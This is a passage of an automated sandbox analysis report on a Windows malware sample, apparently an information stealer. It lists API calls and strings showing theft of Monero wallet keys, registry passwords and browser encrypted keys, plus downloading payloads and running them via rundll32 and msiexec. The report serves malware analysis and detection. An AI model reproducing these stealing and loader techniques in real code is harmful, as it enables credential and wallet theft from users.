CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 003C906C

Strings

image/jpeg, xrefs: 003C9136

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: dabf7dfc52e55501922344d19852cad9a1951aef1aaf576da7ce07310c594f8d
Instruction ID: f48e6ab5dd39bdca4e24dc9d973642f6760fd6ad842b3a1210d679fe63cbe52d
Opcode Fuzzy Hash: dabf7dfc52e55501922344d19852cad9a1951aef1aaf576da7ce07310c594f8d
Instruction Fuzzy Hash: 8A71EFB1910208ABDB14EFE4DC89FEDB7B8BB58700F108509F515EB294DB78A905DB62

Function 003C2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

ShellExecuteEx.SHELL32(0000003C), ref: 003C31C5
ShellExecuteEx.SHELL32(0000003C), ref: 003C335D
ShellExecuteEx.SHELL32(0000003C), ref: 003C34EA

Strings

"" , xrefs: 003C309A
/passive, xrefs: 003C345B
/i ", xrefs: 003C33E4
C:\Windows\system32\rundll32.exe, xrefs: 003C3332
.msi, xrefs: 003C3398
<, xrefs: 003C3490
C:\Windows\system32\msiexec.exe, xrefs: 003C34BF
.dll, xrefs: 003C31E5

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: bd01ec339d1fd26c7097ea46ca05a5d7fd9c39a6bdedda8df0d7a6b53010d2f0
Instruction ID: a7bdadb506d92cc980b89c9d6822fa0941d7b98f906d19175dd8642c7ef55efe
Opcode Fuzzy Hash: bd01ec339d1fd26c7097ea46ca05a5d7fd9c39a6bdedda8df0d7a6b53010d2f0
Instruction Fuzzy Hash: 5F12DC7181060C9BDB1AEBA0DC92FEEB778AF14304F50415DE506AA191EF742F4ACF66

Function 003C52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B6280: InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
Part of subcall function 003B6280: StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B6303
Part of subcall function 003B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
Part of subcall function 003B6280: HttpOpenRequestA.WININET(00000000,GET,?,0108DFD8,00000000,00000000,00400100,00000000), ref: 003B6385
Part of subcall function 003B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
Part of subcall function 003B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5318
lstrlen.KERNEL32(00000000), ref: 003C532F

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 003C5364
lstrlen.KERNEL32(00000000), ref: 003C5383
lstrlen.KERNEL32(00000000), ref: 003C53AE

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

ERROR, xrefs: 003C5432
ERROR, xrefs: 003C54A9
ERROR, xrefs: 003C546F
ERROR, xrefs: 003C530A
ERROR, xrefs: 003C53B9

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 9ea668a929b175c27087ee2dcbc3135f09252d8a829958eb1c8c7322d47a5507
Instruction ID: 44f60df51b44011b547b537569a545ee443893858cde7daee09953953b34adb2
Opcode Fuzzy Hash: 9ea668a929b175c27087ee2dcbc3135f09252d8a829958eb1c8c7322d47a5507
Instruction Fuzzy Hash: 9651F77091064CABCB1AFF60D996FEE7B79AF10308F50401CE50A9A592EF346F45DB62

Function 003C12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 68592796cbeae1470943ffb4bd781025a47a59c085915f9c3f88dd36091f9af1
Instruction ID: 69fd9948188713a4bacbd3bc8f43750daec8b6cbf6490fd2995f81c330f80f5a
Opcode Fuzzy Hash: 68592796cbeae1470943ffb4bd781025a47a59c085915f9c3f88dd36091f9af1
Instruction Fuzzy Hash: EDC180B590020D9BCB15EF60DC89FEA7778BB64304F00459DF50AEB241EA74AE85DF92

Function 003C4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C42EC
lstrcat.KERNEL32(?,0108E470), ref: 003C430B
lstrcat.KERNEL32(?,?), ref: 003C431F
lstrcat.KERNEL32(?,0108D530), ref: 003C4333

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8D90: GetFileAttributesA.KERNEL32(00000000,?,003B1B54,?,?,003D564C,?,?,003D0E1F), ref: 003C8D9F

Part of subcall function 003B9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 003B9D39

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C93C0: GlobalAlloc.KERNEL32(00000000,003C43DD,003C43DD), ref: 003C93D3

StrStrA.SHLWAPI(?,0108E5C0), ref: 003C43F3
GlobalFree.KERNEL32(?), ref: 003C4512

Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
Part of subcall function 003B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
Part of subcall function 003B9AC0: LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

lstrcat.KERNEL32(?,00000000), ref: 003C44A3
StrCmpCA.SHLWAPI(?,003D08D1), ref: 003C44C0
lstrcat.KERNEL32(00000000,00000000), ref: 003C44D2
lstrcat.KERNEL32(00000000,?), ref: 003C44E5
lstrcat.KERNEL32(00000000,003D0FB8), ref: 003C44F4

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 0829d83d5a35cb7c4fc62a856190e550a2ce7c251333182578155c1395c1f7db
Instruction ID: be8b646f55fd2089d6853d0223bc831c18db3fec6c4059e029eaa1fb413d7dfb
Opcode Fuzzy Hash: 0829d83d5a35cb7c4fc62a856190e550a2ce7c251333182578155c1395c1f7db
Instruction Fuzzy Hash: 627177B6900208ABCB15EBA0DC95FEE7379AB48304F00459CF609E7181DA75DB49DF92

Function 003B1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003B12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003B12B4
Part of subcall function 003B12A0: RtlAllocateHeap.NTDLL(00000000), ref: 003B12BB
Part of subcall function 003B12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003B12D7
Part of subcall function 003B12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003B12F5
Part of subcall function 003B12A0: RegCloseKey.ADVAPI32(?), ref: 003B12FF

lstrcat.KERNEL32(?,00000000), ref: 003B134F
lstrlen.KERNEL32(?), ref: 003B135C
lstrcat.KERNEL32(?,.keys), ref: 003B1377

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0108A270,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 003B1465

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

DeleteFileA.KERNEL32(00000000), ref: 003B14EF

Strings

\Monero\wallet.keys, xrefs: 003B138D
wallet_path, xrefs: 003B1330
SOFTWARE\monero-project\monero-core, xrefs: 003B1335
.keys, xrefs: 003B136B

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 26ac3a920d9eefd8633d21e3e085e6855621c88939e5650373f3e9a7d62fbe87
Instruction ID: 9024eff7fe80a70003d22b7420687b43951ba4c576ac897e982c35b43cc82743
Opcode Fuzzy Hash: 26ac3a920d9eefd8633d21e3e085e6855621c88939e5650373f3e9a7d62fbe87
Instruction Fuzzy Hash: F1514FB295021C5BCB16EB60DC96FED737CAB54304F40459CB60AE6081EE346F89CBA6

Function 003B75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003B72D0: memset.MSVCRT ref: 003B7314
Part of subcall function 003B72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 003B733A
Part of subcall function 003B72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003B73B1
Part of subcall function 003B72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 003B740D
Part of subcall function 003B72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 003B7452
Part of subcall function 003B72D0: HeapFree.KERNEL32(00000000), ref: 003B7459

lstrcat.KERNEL32(00000000,003D17FC), ref: 003B7606
lstrcat.KERNEL32(00000000,00000000), ref: 003B7648
lstrcat.KERNEL32(00000000, : ), ref: 003B765A
lstrcat.KERNEL32(00000000,00000000), ref: 003B768F
lstrcat.KERNEL32(00000000,003D1804), ref: 003B76A0
lstrcat.KERNEL32(00000000,00000000), ref: 003B76D3
lstrcat.KERNEL32(00000000,003D1808), ref: 003B76ED
task.LIBCPMTD ref: 003B76FB

Strings

: , xrefs: 003B764E

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 688366280e543173653ff98a44ce885d2fdbfbe997a798896d40fe845111ef66
Instruction ID: 9a885ba8284899ad53684a27fc9360f6c434bf820ca866376cc0e5f5fd5da9c0
Opcode Fuzzy Hash: 688366280e543173653ff98a44ce885d2fdbfbe997a798896d40fe845111ef66
Instruction Fuzzy Hash: 6D3150B2D00109EFCB06EBA4DC45EFE7778FB94305B144518F206EB690DB38A94ADB52

Function 003B72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003B7314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 003B733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003B73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 003B740D
GetProcessHeap.KERNEL32(00000000,?), ref: 003B7452
HeapFree.KERNEL32(00000000), ref: 003B7459
task.LIBCPMTD ref: 003B7555

Strings

Password, xrefs: 003B7401

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 74ffb8def664070034f0b2d34a8f65d51592d86827cdb1d798a57db971168127
Instruction ID: eb87bc02d6c51890a1fba32c41175109ba454f1f5c0e8cb718ae2d4be2a6b1c7
Opcode Fuzzy Hash: 74ffb8def664070034f0b2d34a8f65d51592d86827cdb1d798a57db971168127
Instruction Fuzzy Hash: EA613AB580015C9BDB25DB50CC41BD9B7BCFF44344F0081E9E649AA541DBB06BC9CFA1

Function 003B60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

InternetOpenA.WININET(003D0DF7,00000001,00000000,00000000,00000000), ref: 003B610F
StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 003B618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003B61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003B61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003B620A
CloseHandle.KERNEL32(?,?,00000400), ref: 003B6249
InternetCloseHandle.WININET(?), ref: 003B6253
InternetCloseHandle.WININET(00000000), ref: 003B6260

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
